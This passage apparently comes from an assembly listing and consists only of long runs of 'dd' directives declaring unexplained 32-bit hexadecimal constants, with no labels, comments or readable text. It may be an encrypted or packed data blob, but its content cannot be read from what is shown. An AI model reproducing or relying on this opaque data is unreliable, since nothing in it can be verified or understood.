0D50809C1h, 5E22A616h, 36144B4Ch, 79B570F9h, 0B257E984h dd 16C382FFh, 65657C8Dh, 6E5DF1E0h, 5C80108Ah, 0D107E5C1h dd 1BE4ED7Fh, 2016B17h, 0BB124FFCh, 0C494EC9Eh, 66010B7Ch dd 0D34B20BDh, 84BDFDEBh, 0B402C2E0h, 45D604Ah, 0A1FD2BB3h dd 0A0161058h, 792DF3C0h, 0E0EEE426h, 4CB47D69h, 732F988Ch dd 8947D944h, 2B06ACFh, 0F49474E9h, 0BABC8412h, 0F65E0116h dd 0E3498594h, 3F9176FCh, 983B0BD6h, 0D1428D48h, 0C84CBA2Dh dd 120E7BFh, 531E700Ch, 3AC796E9h, 6926F021h, 0D9980105h dd 7E39C830h, 0B644FC0h, 0EDC24FE7h, 50CA00FEh, 0E930A153h dd 56DC4D15h, 0AE8588C5h, 70898F3Ch, 5C33E156h, 2FBB53C0h dd 0A4C9C5Fh, 0E84D10BDh, 98765B25h, 92BFE970h, 925894D8h dd 0BDDFF054h, 33C15817h, 0EF47D25Dh, 62356807h, 5DCE14BCh dd 8167EB00h, 257B50EEh, 0DE840B50h, 45305395h, 0D6E5FC56h dd 82F26EE4h, 2827BB4Ch, 0AC05C566h, 5D10088Eh, 0B1EEFE25h dd 0A8CB68DBh, 904135A1h, 4A7CB26Bh, 0CE80E8A9h, 76FEE923h dd 0E1621E99h, 0D10B0F5Ch, 0F3AC0159h, 67C78187h, 4117FEA2h dd 903BD27h, 49841C4Eh, 24C402AEh, 0C277473Dh, 1E958432h dd 0C209D1EDh, 0B78B43ADh, 40EAD1C1h, 740CE908h, 41EA51D2h dd 197EB0E6h, 5B0C8327h, 0DA4FE62Bh, 51F849F8h, 671A6E83h dd 0B1E26C3Ah, 0F5818DA0h, 4A303CE1h, 64B40C55h, 0E96512BDh dd 0C798E4A2h, 0BFB0DAB5h, 0C3851245h, 85575CE9h, 1ED336B2h dd 0FF5E52C8h, 9F7EE63Dh, 80E25B3Ch, 1700A392h, 533CE9h dd 2EBC9D65h, 19B0F8Dh, 3E0E28AEh, 0CE08F375h, 0F9973AC3h dd 0C537415Bh, 3E25BA86h, 32F40EE1h, 17129D15h, 7D34AD6Dh dd 0E9095EECh, 0F35CB4AEh, 0B05FCA66h, 0BDF420B9h, 8FC38102h dd 0FD314270h, 46EB94C1h, 95031C08h, 8B2DB656h, 5B1C920Bh dd 55E9E111h, 879D7A95h, 98D68E8h, 5D6E462Dh, 0F8400942h dd 0D74C9F57h, 0B0FC1025h, 0C254995Bh, 0DAA331C5h, 2606D025h dd 0C94CEF8Dh, 519C6689h, 35DD3139h, 94FA08EBh, 0D9F6612h dd 8F68580Ch, 0B50DCF63h, 0A045828Bh, 93445425h, 6D1307C6h dd 0E940E33Eh, 277E87E2h, 26536B82h, 90647073h, 7A7C387Ah dd 100C7BA4h, 107F48DFh, 0BD3EB3ADh, 0CB6388Fh, 4BC24749h dd 972673F1h, 68110251h, 0EF4B2F83h, 0E1BD5E2Ch, 386C3BE9h dd 109990C3h, 800EF493h, 0F76791EFh, 94C7614Bh, 60422188h dd 285BD9C4h, 0B0B70AACh, 0FA19E9CBh, 895842C1h, 6DA0205Fh dd 70D20DAh, 6A137BF7h, 0D60211CDh, 9229046Fh, 99D0D16Ch dd 7D03BF04h, 0E4C7669Fh, 6F46006Bh, 162F3099h, 0E8A1B7E9h dd 6816DD35h, 625C0CD0h, 87D54C43h, 5B4E8020h, 0F1209EA1h dd 0BBAB404Fh, 0A6327809h, 736B0049h, 9F097AF4h, 0C706D252h dd 686B03CBh, 0DB6E050Ch, 0FE054493h, 0B0E8A452h, 77C45019h dd 0A6E42AC1h, 0E5214A58h, 1B26FA8h, 0CA63B9D3h, 0F3186568h dd 2451A08Ah, 220961h, 4A95D90h, 0D790FB29h, 2AB541h, 13F82D15h dd 0C2BDBEDFh, 64675768h, 270E986h, 24E1BD81h, 0D1C06ECAh dd 4C8173B3h, 0D822BD0Eh, 4DCBE10Bh, 0FD26A4F3h, 2FBFC12h dd 0F722BE27h, 0C0998FD1h, 38739618h, 92DB7BE9h, 0F2544AD5h dd 5F82817Ch, 47C3B44h, 13E94705h, 64A5CA95h, 1AF6D284h dd 0E831FD12h, 40E9C42Eh, 82D9FFA5h, 529875EEh, 4D5D6068h dd 9C68B030h, 89EEB556h, 15822DDFh, 0D256630Dh, 0AF64208Eh dd 0D681B22Fh, 0CA8039E7h, 4E2C0F9h, 0E918D2F6h, 0BBF98909h dd 701807C3h, 0E3F38152h, 31B202FEh, 2DD42642h, 48DD5544h dd 0E9C49C22h, 3B11EC7Bh, 0D5B616ACh, 4AB4218Ch, 9CFC41C3h dd 781FC218h, 77081690h, 0F67900EAh, 6AF460B9h, 41E542BDh dd 0FE05D725h, 18DFDA0Fh, 168DBA0Eh, 4B3E3906h, 0E78456F3h dd 0BE4C1DB9h, 31680A58h, 8E9B46B2h, 0C1896E87h, 37112E3Ch dd 98579E75h, 9F59F9B0h, 0D62FF8DBh, 8CE9E130h, 8A367B58h dd 9699AFCh, 4207E2C1h, 6B6D4C87h, 80811E14h, 6FA4035h dd 0EDF0CD29h, 2A5908A1h, 0F02120C0h, 174D4BE9h, 0C40ABD35h dd 0BB177D42h, 0FDB9DA53h, 4CD29710h, 64EA07FDh, 68F1EE46h dd 0E9001856h, 32BEB7A8h, 0E1C729C3h, 7E75C9FDh, 48A6F02Bh dd 0BDBF1140h, 12F42CD2h, 0B2427B4Ah, 80C91043h, 5F73F7D9h dd 0C276049h, 0E12B709h, 82FA893Dh, 0A9E9D331h, 89247EFFh dd 1CFFB36Ch, 69E2FC3Ch, 8FB2BFBEh, 3557E67Fh, 0FA2257D2h dd 384FD72Bh, 0B05A56EDh, 87683F20h, 55E6BD30h, 0B982DD29h dd 86DC13BCh, 2500F2D5h, 2B450EBh, 8EC05C0h, 0F20F5EE9h dd 545A27A0h, 6C5D7238h, 5C08EDC6h, 0CB4A0598h, 0BFE873C4h dd 0C10D91B4h, 0A5316A10h, 0B8049DE7h, 0B6417206h, 5802DC02h dd 0A08C8E00h, 82C59B45h, 0C602F36Ah, 0DC0888F8h, 0C1959E01h dd 0E407012Bh, 0BB19940Ch, 800247CBh, 0D028EDEAh, 815C8341h dd 1DFDC245h, 40BB41DFh, 0EA195630h, 24253F71h, 0C06F7C03h dd 3DB6614Bh, 5C1F2144h, 38C3E0D0h, 0CBB00FFDh, 1A270C2Bh dd 0C1957226h, 0E4688D14h, 12C8046h, 8923A66Dh, 5DE92DDDh dd 9E70180Bh, 10271E77h, 97F17819h, 7141311h, 581DA1C4h dd 959AFA6h, 745EF02Dh, 0C9C05AFEh, 0E9181FF7h, 0F62FBA2Bh dd 0A8FE5ADFh, 885D045Ah, 0B7C25BFAh, 38928451h, 0ABC0B4C3h dd 8B161308h, 29561A30h, 68C4A00Eh, 0C851C814h, 10496E5Eh dd 0BD2FA048h, 78569F5h, 33E58131h, 0C75C192Bh, 0FED6D301h dd 0F68301DFh, 2D685350h, 0A3EA4D8Eh, 0BF946082h, 259B0761h dd 0E203EDC1h, 0C5D504CDh, 0E580A735h, 3DE72C0Ah, 0FC55E912h dd 8441EEE3h, 385E9E2Ah, 0A5AC4A68h, 0F22D00D3h, 4B78BA09h dd 0F33CD160h, 48AA60F9h, 855A41B4h, 0DE9BEEDBh, 47B4D41h dd 3A52D0Ch, 0C3D9F758h, 10B29DA7h, 412E680Eh, 0A5F30469h dd 71CC12Ch, 5208EFC0h, 142C2ABAh, 0C8294346h, 12515317h dd 6E82B1E4h, 970874D0h, 29F42E3Bh, 0B1370995h, 94B01E55h dd 0B6F749CEh, 4048B0C6h, 86B857AFh, 1BB9940h, 0B59AA713h dd 2F59CB31h, 0B0A56DA1h, 0AAC9160h, 5C30F72Dh, 0F0D0161h dd 316C784Ch, 35B6DABh, 0AF13C7BDh, 7D31DA7Dh, 58D1324Bh dd 53A37B89h, 0ED13DF86h, 0A205D000h, 89E5E02Fh, 607CFCC3h dd 0F9EAEBFAh, 6B7B265Ah, 59D7A034h, 0F82435C4h, 4194D2C8h dd 8AB297BFh, 3116ECBCh, 0C67B70C1h, 2A0F6B78h, 0ACE014Dh dd 591308EEh, 4EE97B2Ch, 5CC80B29h, 200D9EF7h, 6BE754CAh dd 4E7CF8A3h, 0B7DF8592h, 5548504Fh, 65CA7712h, 0FA7B6300h dd 0B229B276h, 0A7CE50A3h, 41711BD0h, 10F8A218h, 0CC16ECAh dd 25683E2Bh, 1AA7942Bh, 14050C08h, 0A6C2AE5Dh, 0C90F0957h dd 0B1FF8689h dd 0D46F01F3h, 4592BEF6h, 87CC74BFh, 223423ADh, 0F4D0475Fh dd 38631220h, 0D81D3D04h, 0C568052Ch, 0B1963129h, 6E95F106h dd 0E4D2C7F1h, 0B9C0EEB9h, 221E8008h, 70682E52h, 0B0ACB618h dd 37E95829h, 0F2B3E3FAh, 8ACC5D81h, 4F41720h, 6558ECB9h dd 0FE08824Ah, 5C027D29h, 6ED502C3h, 86A1279Bh, 0E9D895F4h dd 0F4D15BCEh, 96A3930h, 0E82D5D77h, 0B103CBF7h, 2DD248EDh dd 0B2D2045Ch, 2E25FF75h, 22F4D7FEh, 9E7F2877h, 400498D2h dd 620BBD82h, 54543064h, 13C08FFh, 68BE5600h, 80317952h dd 75BC5ED8h, 7942BEE8h, 3800096Fh, 4DDD4EC5h, 72A3141h dd 0F0EB8156h, 0E967B869h, 5CB1EAE2h, 0B506A82h, 0C6206009h dd 8D42771h, 1C16AFDEh, 0EFF7F090h, 49E1E695h, 7E42F321h dd 23C73DC4h, 599F061Ch, 0D7FCE955h, 40476816h, 55327665h dd 91CCE1DEh, 0ED4B734Bh, 28794F9Dh, 120D022Fh, 2A5862E0h dd 54FA6815h, 0E47610BAh, 39479726h, 9272FF9h, 457A8AD4h dd 57B18214h, 16B8C1FEh, 0E917A5B6h, 0DCEC0F7Fh, 594091CBh dd 2F276859h, 62C1D65Eh, 29222DFCh, 8100DEEFh, 0E05806F2h dd 2BC02B2Ch, 0C448DD3Ah, 0BEEDFEF4h, 49E905A0h, 503B8A49h dd 0A3658412h, 4A19045Ch, 6C80748Fh, 4C0FE906h, 7581B3E2h dd 820CA030h, 7461870Ch, 588ED766h, 3027C96Dh, 0E77BCDF8h dd 4409B690h, 5749EB40h, 0B0895A8h, 0A1F890E9h, 8CDA79Bh dd 6D15CA80h, 0E68164B5h, 670B9C7Eh, 7AD6F732h, 51F509FDh dd 305C0343h, 1A598BBBh, 10FB84E8h, 1F10D9FDh, 3B681672h dd 2CAAFE64h, 504BFB7Eh, 58100BA3h, 6444DD6h, 7F693151h dd 0CDD2B50Eh, 0D19D7B30h, 17E070EDh, 1F89018Ah, 0A38B8979h dd 0C127B9CCh, 88155163h, 5C13F2D6h, 667CA0C0h, 70983A68h dd 4CB5A760h, 0E916F32Ch, 83B6EC2Ah, 4BDC5F69h, 0D87E15h dd 0D07A5825h, 50040514h, 0FA1D4EBEh, 0E94E4FD9h, 58084022h dd 25249FBBh, 5B4EF42Ah, 0BEA2D59h, 6EFC9761h, 1A219192h dd 3AD75F6Bh, 1FC50194h, 6071913Bh, 8BC6CD02h, 0B761D808h dd 24956F1h, 0B6350EBh, 996E6605h, 7296E49Bh, 2D8FC7B7h dd 73D8FE29h, 7FF96812h, 0E4D664E8h, 889850F4h, 0F6C6A620h dd 5C2D07D8h, 597BA861h, 0E985EBFCh, 0D1310ABDh, 41A62C68h dd 6F0C0995h, 0E7928051h, 6C8214B5h, 5E7A0D44h, 6DAD6155h dd 0AAE08E4Dh, 0B360A095h, 18762C30h, 4BFA421h, 87750748h dd 0BE532C8Fh, 2B193F0Ah, 0F5039F34h, 2D3C38h, 98ADD00Ch dd 6756E99Eh, 3D4122BFh, 0FF5F04C4h, 0DE02CC99h, 0F99C7D0Ch dd 0F578E919h, 50E8CD97h, 44576BEh, 0E41617E5h, 151C8051h dd 70F96A65h, 6B7A4A9Dh, 205A4D4Ch, 439D9812h, 2223801h dd 33687E92h, 4C49A2Fh, 104AE96h, 7CD1F26Ch, 0B0C1EC2Fh dd 0A5751E5h, 7D55A568h, 54A208DAh, 9525609h, 4FEDD283h dd 59ADA0F9h, 0CEA6595h, 0EFDBEA18h, 0CA467C0Fh, 74CF644Bh dd 257A2EF6h, 3B659E4Eh, 0CF684630h, 0C9949C38h, 0CE6E805Dh dd 157D802Dh, 1F6B95E9h, 22FDE592h, 0FEBAC0F8h, 0A049935Bh dd 28A4069Ch, 0B5B3B66Ch, 880E074Ah, 14BD00D0h, 0B8437037h dd 0B6571268h, 0F515EF63h, 7AA410C5h, 9A92D02h, 8E5E153Ah dd 5FF18103h, 0E3C1DC66h, 0AA04C880h, 4492FDE7h, 0FB6AFC7Fh dd 5BE9B83Ch, 88430592h, 729CABD5h, 41674085h, 80BF80C0h dd 2C89822Ch, 270859CBh, 69886F2h, 85521402h, 75FB0111h dd 10895996h, 0E4452ECBh, 64BFCDA3h, 3EBC5FEh, 64313C9Eh dd 1C83AFACh, 7B29D1B3h, 12D0CAD8h, 112686Eh, 6D6FD44Ch dd 0A3852A3Bh, 70B3240Fh, 6B565925h, 2EBA9C88h, 3A75257Dh dd 0D7B9414Bh, 0ED97C46Ch, 0CEA97FEh, 0C0134FF4h, 8003E607h dd 0F106D9EEh, 0C0D09F55h, 46F642D3h, 0B9833812h, 0C328C44Fh dd 0A198B3C1h, 0A011DBCh, 4B0BAB42h, 0A704A043h, 0B29FE709h dd 0A0535040h, 958EB098h, 2C3F30C7h, 79AD22F6h, 9E615A0Ch dd 59179C2Eh, 0C5055840h, 986EE338h, 344AE53Ah, 0E1352554h dd 4E459A2Eh, 0F0BBFE73h, 5F402064h, 7954F0D1h, 55E80C4Ah dd 243CBF96h, 0AB0F2566h, 4E14FB48h, 9D59B580h, 9D200178h dd 0BB777C6h, 5B66F908h, 81F5C58Bh, 0A78AE924h, 93EBC380h dd 83207B14h, 0F09D01ECh, 39BA8002h, 0F3AC2D61h, 0D92F16F2h dd 426F51CFh, 6376B7EEh, 0DE204E4Ah, 78DB420h, 0C5590EBBh dd 0D6ADA46Dh, 30F84F1h, 6663B252h, 3B2B91BFh, 469958F5h dd 2DCA04Bh, 0DE167788h, 0F5B65202h, 0DE8250E9h, 95A288B2h dd 7AE18007h, 3079C130h, 0BD595ECFh, 801A27E6h, 0E2E953EFh dd 9846B50Ch, 42D3C104h, 6E806C11h, 3D73087Fh, 1459E933h dd 0D6315E09h, 0EBF7A762h, 7E11FAE2h, 0D04161Bh, 308F594Bh dd 1F1E6D18h, 0FCA39D6h, 800C5A0Bh, 0C7E07E66h, 0A01CB539h dd 0E5C055F5h, 0A4202798h, 3E1ABD9Eh, 5AB7A457h, 2A0429AFh dd 9D6EB1A1h, 0F315582Ah, 20B4A548h, 236817EAh, 0A9C4613Dh dd 4F2901EDh, 0A6FC132Fh, 168788AFh, 12C28A5Ch, 0C4ABB951h dd 94C8FF49h, 0E86B4B9Eh, 800CC359h, 8CA19514h, 0DFEED4C9h dd 3ED9EE9Bh, 0F2CD2FEDh, 53B9C883h, 0A0F92A47h, 14D27D4Ch dd 4B1E9CA4h, 7451BB87h, 55212133h, 0E713F737h, 523AC890h dd 7BE56805h, 0AA00540Eh, 0E71084EAh, 3C80B704h, 2E9FD88h dd 0E5E3F895h, 34C9D8DBh, 226B2F3Ch, 64F6FD7Ah, 0A25D714Eh dd 0DAF70337h, 1DE1E287h, 1C80504Fh, 39F421B4h, 5A03D531h dd 6AE9E801h, 0ED3D02B0h, 4DC1495Fh, 14EC9180h, 15F5592h dd 68083E10h, 5916141Ch, 3D84FAA9h, 270212B3h, 0E16ABACFh dd 6C24DA4Dh, 0CE5A1344h, 41BDFD7Dh, 0A3A77E08h, 1672A64Bh dd 90A2989Bh, 8803B705h, 4F21AEFCh, 0EE057590h, 66608997h dd 770DB050h, 74E91230h, 1E644FD5h, 0F748A741h, 0AFBC21D6h dd 9546C167h, 0E1CFD5EDh, 2E35F1C0h, 0E560C695h, 68BDC05Ah dd 0A9B9729Dh, 0D05D5F8Bh, 85215C98h, 9125C24Ch, 776BC818h dd 19348024h, 0A45E5210h, 4B417F4Ch, 0EDE8473Fh, 5A074177h dd 0E5A6418Fh, 7BB982A6h, 8040C343h, 752269B6h, 0FE21136Ch dd 410CBF5Fh, 0BD02084Eh, 65F2D0F0h, 9AED913Ah, 0C29AF531h dd 25F45A58h, 0D179D842h, 17C7542h, 30D1B151h, 6812895Ch dd 5E300ECAh, 0B83031B0h, 0F180166Fh, 2916FF97h, 9156490Bh dd 0C27787BFh, 0B096809h, 123D0B73h, 1BB832F4h, 657DF5C1h dd 84A42A6Ch, 26110E60h, 0E7E04F34h, 19733D6h, 20DD0C9Dh dd 0CA8A053Bh, 52E4E93Fh, 4A02EEAAh, 75B758F2h, 0B6EB1702h dd 0AAC38001h, 7EF221h, 1B68564Eh, 64980927h, 5D8F1A95h dd 0D40398C0h, 0F0BA1500h, 0E962CF42h, 4BC86297h, 9B62B4CBh dd 0EC88E100h, 243B6C8Ah, 8643702h, 0D5F658E0h, 12219986h dd 5106307Ch, 7EF677B5h, 0BE8BAE60h, 0EBC5224Ah, 4206E042h dd 814EA44Ch, 0EE9712BBh, 8DE30165h, 0EF9450h, 51F4A65h dd 0E0B59A15h, 4D9CC7FCh, 0E88C398Bh, 2E3E4A95h, 30E748D3h dd 92EC83Ah, 0B56A6A64h, 5DD8BE00h, 96A170ABh, 68AD007Eh dd 8C594AE0h, 64560532h, 40CC0FDEh, 40E093A9h, 0DE9134Fh dd 6F6ACDB0h, 708B0827h, 0AC7B9F86h, 0F9107569h, 0CB6A12Dh dd 9C964EFh, 524BBB01h, 0BD2C9C7Dh, 113D2F40h, 1362F581h dd 675D0Dh, 4697E563h, 0CC14A3Ah, 76B80B6Dh, 0F81E6130h dd 31EB39AEh, 65B65D32h dd 9D1C5D64h, 0E06F3F4Ah, 3863F37Ah, 29ADC0B5h, 9903ED72h dd 57A54BF0h, 0E9D4FCE9h, 94DBC1EFh, 0EB800149h, 409DB060h dd 5C9505C2h, 0F854ADC2h, 5B9DABAh, 5E9B167Fh, 310BABAEh dd 9F0879A0h, 53516541h, 136242A6h, 3F145D9Bh, 0F993619Eh dd 0CCAF7F84h, 1794523Fh, 0DC57A25Ah, 69735CEAh, 92192557h dd 5DA8DB53h, 0A663DB05h, 5B50AF05h, 835F1F08h, 45FE02D7h dd 0F2726DD5h, 0E6E29385h, 0A0DBBC6h, 28D8B309h, 24047DE3h dd 89B88307h, 8FBFF399h, 39FE3306h, 0F82AE00Ah, 0E9C404B4h dd 0F1FCAF66h, 0F6EDE86h, 0F7306297h, 0A542C0ABh, 9B453FD9h dd 5559D04Bh, 84F157A0h, 915C6379h, 7C5625ABh, 16FD5AB9h dd 6EC28034h, 1EBD0510h, 0D0CC4CE9h, 342C7FC8h, 8F8E8EBFh dd 48A5CB51h, 25DEEFBh, 1E0CCE81h, 0E16266F0h, 42836881h dd 0E05C7021h, 68E3DF5Bh, 8A78F800h, 666A057Bh, 0F7715409h dd 445CD8h, 79917CC1h, 0D54BF4E9h, 11D0C297h, 0C8554501h dd 5005130Fh, 0C1ABF889h, 5870B82Fh, 681551FDh, 12D00517h dd 69475AA2h, 0EC325DCCh, 5BC0FFB3h, 0C2A274C4h, 0C0E40703h dd 8EE90390h, 40BF5A92h, 1671E47h, 77BE703Dh, 0CC3EC031h dd 0BA2CE9C6h, 865846E3h, 0BC209987h, 90A0DD27h, 57274AE5h dd 0B9B5295Fh, 264541F4h, 17192847h, 3F78A1FDh, 780CB29h dd 2E69BA52h, 0E9124C57h, 32F37995h, 6EAC182h, 0ACD00E42h dd 505C3ABFh, 0F3E925F3h, 0A2EAF748h, 29692374h, 0A6EB740Ch dd 478C088Fh, 80CB702Dh, 481D9CC1h, 4910F5C3h, 0C5F44EA6h dd 88480FC6h, 27C63D3Ah, 0D62E39C0h, 509F915Ah, 7CAC7309h dd 77126261h, 64EFBF56h, 81FCE4F8h, 9A30DE9Fh, 0E75A8B47h dd 0BF4A6A32h, 8CA2E0EFh, 0D5E29D53h, 736BAD7Ah, 4F847733h dd 6A7B8043h, 0F302D8A4h, 0AAE9DF89h, 4B54DAE5h, 0C5D4BC04h dd 6CF4E7E2h, 0B91107A1h, 2C40E939h, 0D05A3016h, 0F6570AD2h dd 2C565147h, 6BB9B53Bh, 0CCCF0313h, 0DA975344h, 66D42025h dd 175940C1h, 8B74437Eh, 970A09F6h, 8EDFC65Eh, 85CA6A9Ah dd 81C2B442h, 0F3254E56h, 0E7ABC02Eh, 15CC14Bh, 62D740D1h dd 5059F783h, 0ADEDF3B1h, 0B905FE28h, 5A41B7Eh, 74E26B5h dd 0A74F3A43h, 1CF09A0Ch, 370A41D8h, 605EF229h, 3E0ECA4Bh dd 0DE6E8F4Bh, 9BB41680h, 16D52971h, 0FE7CE7E9h, 8B21D275h dd 303B4A1Fh, 0CEE682Ch, 8AAB5B9h, 58C3F0B4h, 46BD82E9h dd 4B8FB020h, 0D4B3F55Ah, 0D84B01E9h, 0BFE2D0E8h, 2D91487Dh dd 0DE6B12D1h, 110BE77h, 1A85A07h, 21F5F9B7h, 525655B1h dd 0E23C6F30h, 817D00C7h, 32FCBCDh, 0C627E936h, 2511D172h dd 0D3D6EC14h, 0A12B2B29h, 5BB69696h, 5CA2E8F8h, 0FD6F42D7h dd 0E909DA6Fh, 6652E1BDh, 75BB1520h, 0AF681E58h, 0EA8F656Eh dd 0BFE357AFh, 29F27E70h, 0AB549277h, 52DDFC64h, 7E18278Bh dd 5E8099F2h, 5203BC5Bh, 2842F40h, 4B60F127h, 1951805Fh dd 0E3D1260Ch, 14D21096h, 7B1FD21h, 694FADEDh, 0A461F11Bh dd 1C672C65h, 0F8B5E09Ah, 564D2729h, 1CC18C92h, 97B400F8h dd 55E42680h, 28BE01DFh, 3C0858E1h, 0EEE9B074h, 89A994F9h dd 0C6FE530Bh, 0CE189D56h, 6198C688h, 5CBDA820h, 0D11090B7h dd 0F5291FC0h, 0A653A397h, 6B7F2DAFh, 0E01010B6h, 0B4680B44h dd 0BEF6634h, 546302B8h, 0C3ED0902h, 6852EFC8h, 4346A009h dd 61082022h, 5850D14Bh, 0F220D74Ah, 0B1192697h, 3FCC805Fh dd 9F5E7C5Bh, 4D7876E2h, 0D206E913h, 0E45D4232h, 943F2797h dd 0C7EA4ED9h, 0C55489ACh, 0BA79FBB8h, 7D596161h, 4A13B26Fh dd 72AEB613h, 0F6093CA8h, 2969E2E8h, 9F1D1EDDh, 6804315Bh dd 0C9F326A5h, 0C12D4134h, 5F0A365h, 0B5058916h, 9DFEB89Dh dd 0F7ED2AF1h, 0EF8F0212h, 87322631h, 5420F72Fh, 9375EB75h dd 0B8CFBB2Eh, 0FE2FE210h, 0EF203752h, 0D86825DFh, 52B02A46h dd 0F40E8B02h, 0C0415967h, 9A0605ADh, 0DE352ECBh, 8B9DC222h dd 0EABD35E5h, 0F701085Dh, 7FBA13D7h, 550BFA40h, 9E1B6099h dd 7CCC3227h, 0A30D9BDh, 881FE58h, 0C10B6F76h, 28354EBh dd 730F199Ah, 0C3FE401h, 4AD54B60h, 0BA86245Dh, 4F31BD89h dd 0DA09F315h, 0DDBB623Ah, 0E92DE39Ch, 0AD67C177h, 13C42C60h dd 1140A31h, 721D2158h, 830C8247h, 84170B27h, 0AC1350C1h dd 6F018147h, 826861C3h, 90FBED00h, 0DAE99E3Ch, 7BBCB255h dd 0E88048B0h, 3D9E7A0h, 0E0B1C1D8h, 8D21F7F1h, 69649ACBh dd 8441F605h, 60797C7h, 74624CC8h, 0FDA6BE79h, 0C5995CA2h dd 72A56451h, 9D72FA6Ch, 0F0E27369h, 737BE67Bh, 6CF69725h dd 10DF25DBh, 0F02F0BC6h, 731659Fh, 7A036850h, 616488F1h dd 38B816BEh, 3E6C4A20h, 2D100167h, 2EBD7859h, 7656101h dd 0B11CA07h, 82553888h, 5542A7CAh, 0AAA1A324h, 7FC5E209h dd 45F2229h, 0E9E8FCF9h, 2BF82D00h, 84357A19h, 2997DD06h dd 5E22C231h, 0F514448Ch, 0BB1416BCh, 13F9383Bh, 35020B23h dd 0EA15E908h, 353D68C0h, 0E43EE917h, 28B27A99h, 5F676816h dd 0A8822537h, 0F0DBC62Ch, 0FB3626DDh, 8646082Bh, 262D4800h dd 95CE45D9h, 577F1178h, 1E961A30h, 624CAB35h, 50D3A23Ah dd 546500Bh, 8B34CB66h, 9169FB04h, 4197227Bh, 0B14E6857h dd 0A6472789h, 55CE4E43h, 0CC6B0B9Dh, 8BD150E0h, 20B681CAh dd 765F390Fh, 4E1871F2h, 0AFC291E6h, 105E6C70h, 809D1D4h dd 38A05758h, 31BA051Ah, 0E0E5E4Eh, 0C56998C9h, 38819058h dd 2E2DFDBFh, 0E91EFDD4h, 142CD3D3h, 3E7F41ADh, 126F78DDh dd 820F85F1h, 680175C9h, 3B8B444Eh, 0C4C8E154h, 5F480B11h dd 72407625h, 5EF52589h, 0D380DD1Ah, 54605AD4h, 0E92EEBFEh dd 50A4C8A0h, 0BC26963Bh, 0E88822D1h, 0C7D1FDC9h, 0EF833D68h dd 1EB5F780h, 0D83BB2A4h, 9A280C7Eh, 0D3747141h, 34FE4BDDh dd 7A70BC1Fh, 215DFBC1h, 0CD2B1C6Fh, 0DB13EE6h, 5AE866F4h dd 0B6CA1877h, 3F7C5EE2h, 0C05D4295h, 240698EDh, 71E3586h dd 6BA00544h, 52489057h, 0B8A55C7Bh, 7CACF502h, 63770234h dd 0C03FFFB2h, 0E903310Fh, 0F39F6952h, 2CADC603h, 29BA61CFh dd 84C86B34h, 0B1CF4C73h, 0A452AAD2h, 0E9521880h, 55C1403Bh dd 71861FCh, 0CD6A1AA6h, 375B192Bh, 20069A6Eh, 5C077FC3h dd 0B068790Ch, 9B88E4CAh, 84B605B5h, 2904AA30h, 510ECC26h dd 5F70B4CBh, 212EE19Fh, 0D9397632h, 784F2F67h, 0B4043E24h dd 1FBE44B3h, 49AC5606h, 5B00874Eh, 0DE3943EAh, 7DF1545Eh dd 0EBBB05EEh, 97AB0752h, 66C8F3F3h, 56BDD725h, 0E19644C8h dd 0A7F63FFEh, 49B0866Bh, 79B4E048h, 0E76CC587h, 0CB5C0B9Bh dd 91E3B020h, 595B1F17h, 87B2E83h, 6617C252h, 7AA121ABh dd 4FCA6A4Ah, 796C23Eh, 0A190A870h, 2E3D9268h, 0DCC9B727h dd 1BB56EC2h, 5491C13Ah, 36382EF9h, 0F16C1696h, 82A0F11Eh dd 9711653Ah, 0A10FD770h, 0CF62FBE7h, 1D4E57E1h, 1F017A63h dd 28E5419Fh, 0D147016Ah, 2F2CE9EFh, 0B9D6B793h, 313A559Ah dd 6FFB3D2Dh, 5EA6FC61h, 3FCC0C05h, 6ABB0BDDh, 766A6806h dd 0F79B2DDFh, 5296EBE4h, 14C1E88h, 45176EBAh, 33866E69h dd 0B895F0Dh, 5651EFCDh, 651151AFh, 5AC12308h, 0FA018D12h dd 12C10614h, 0BD123852h, 0ED020CF2h, 1912F6F4h, 530D9A80h dd 0CA950A54h, 0E9080188h, 0A34BAA5h, 9F0478EEh, 815B8AA0h dd 471D8CCEh, 0C680571Fh dd 6E650569h, 0E6C11246h, 0BE44EA03h, 2EF41BE9h, 1A330CC2h dd 9E0C4B8Dh, 699C7A1Bh, 87641AAh, 915B68Fh, 0C2500685h dd 610F87ADh, 30354518h, 420EC081h, 0CFE91FDDh, 7827A2DCh dd 80B1CC5Ch, 0C20B1DF3h, 48B2F60Eh, 4F81714Bh, 0DA3CE440h dd 5F251476h, 86E9F081h, 82587548h, 286C461Bh, 80135842h dd 970EE907h, 0D3DC4DE2h, 0D08B77D2h, 0E95E5276h, 5856DE00h dd 0A1E71BFh, 85E6B3C6h, 828959CDh, 75524Ch, 22E95ACCh dd 0AFEC956Eh, 99975D30h, 0E805DDF6h, 2972C164h, 82174371h dd 79377A8Ah, 4FA8C17Eh, 0D4C32F81h, 3A9953F5h, 4152FFA0h dd 0EB877FC6h, 9AEECC7Ch, 639C2725h, 8158CAF6h, 7E5AB7E9h dd 994A69EAh, 2768A2CCh, 145958F3h, 6553728Ch, 307093E8h dd 146AA58Eh, 4295B3Bh, 0C059E956h, 25B4CBF4h, 5B741615h dd 19850C94h, 0C54DFD81h, 9795E8DCh, 689E7276h, 17C95052h dd 0F14F4E26h, 91AD2BD0h, 0B6FE0CDAh, 0A704E9C7h, 68AF30ABh dd 0D39F3BDFh, 3CE9849Ch, 1307E3E7h, 44BF7968h, 0FFB59FD6h dd 0CADA2A29h, 0BDC051ECh, 6F4813AFh, 222808F3h, 0F220AC7Eh dd 0F2594AB3h, 12BB9610h, 1031B3D3h, 7B5059A0h, 55450025h dd 8A1FBD56h, 295AA3C0h, 680B9CADh, 25FB58ADh, 1A1F173Dh dd 20C239FFh, 966072E9h, 11D8C6A1h, 8872C4D1h, 2F9CCD7Dh dd 400EF1C8h, 0A527683Dh, 71A8D442h, 46A23B0Ch, 3A6DDBA1h dd 4EF4982Dh, 0CA91C0E0h, 75215EB9h, 7D540CC1h, 2E9F556Ah dd 0DEBE425Fh, 0C0DFD629h, 2E525EC0h, 8B5F2331h, 6E02C783h dd 0D6E48C9Ah, 0BE221300h, 56840D5Ah, 0E940177Ah, 88B7C2FBh dd 69EB1DC0h, 0BF811AB6h, 4A54180Fh, 0E17CE261h, 8B42152Fh dd 5C51865Ch, 84102863h, 0EB3870A2h, 0C5C32E59h, 6084B24h dd 168A2EC6h, 5152AB75h, 0A1D2BBEh, 8C795CE9h, 0B86DEE81h dd 96EFE53Eh, 10229D6Fh, 65F73A53h, 2DC2BF5Fh, 68C59A57h dd 0BDFE019Dh, 0EEC572C4h, 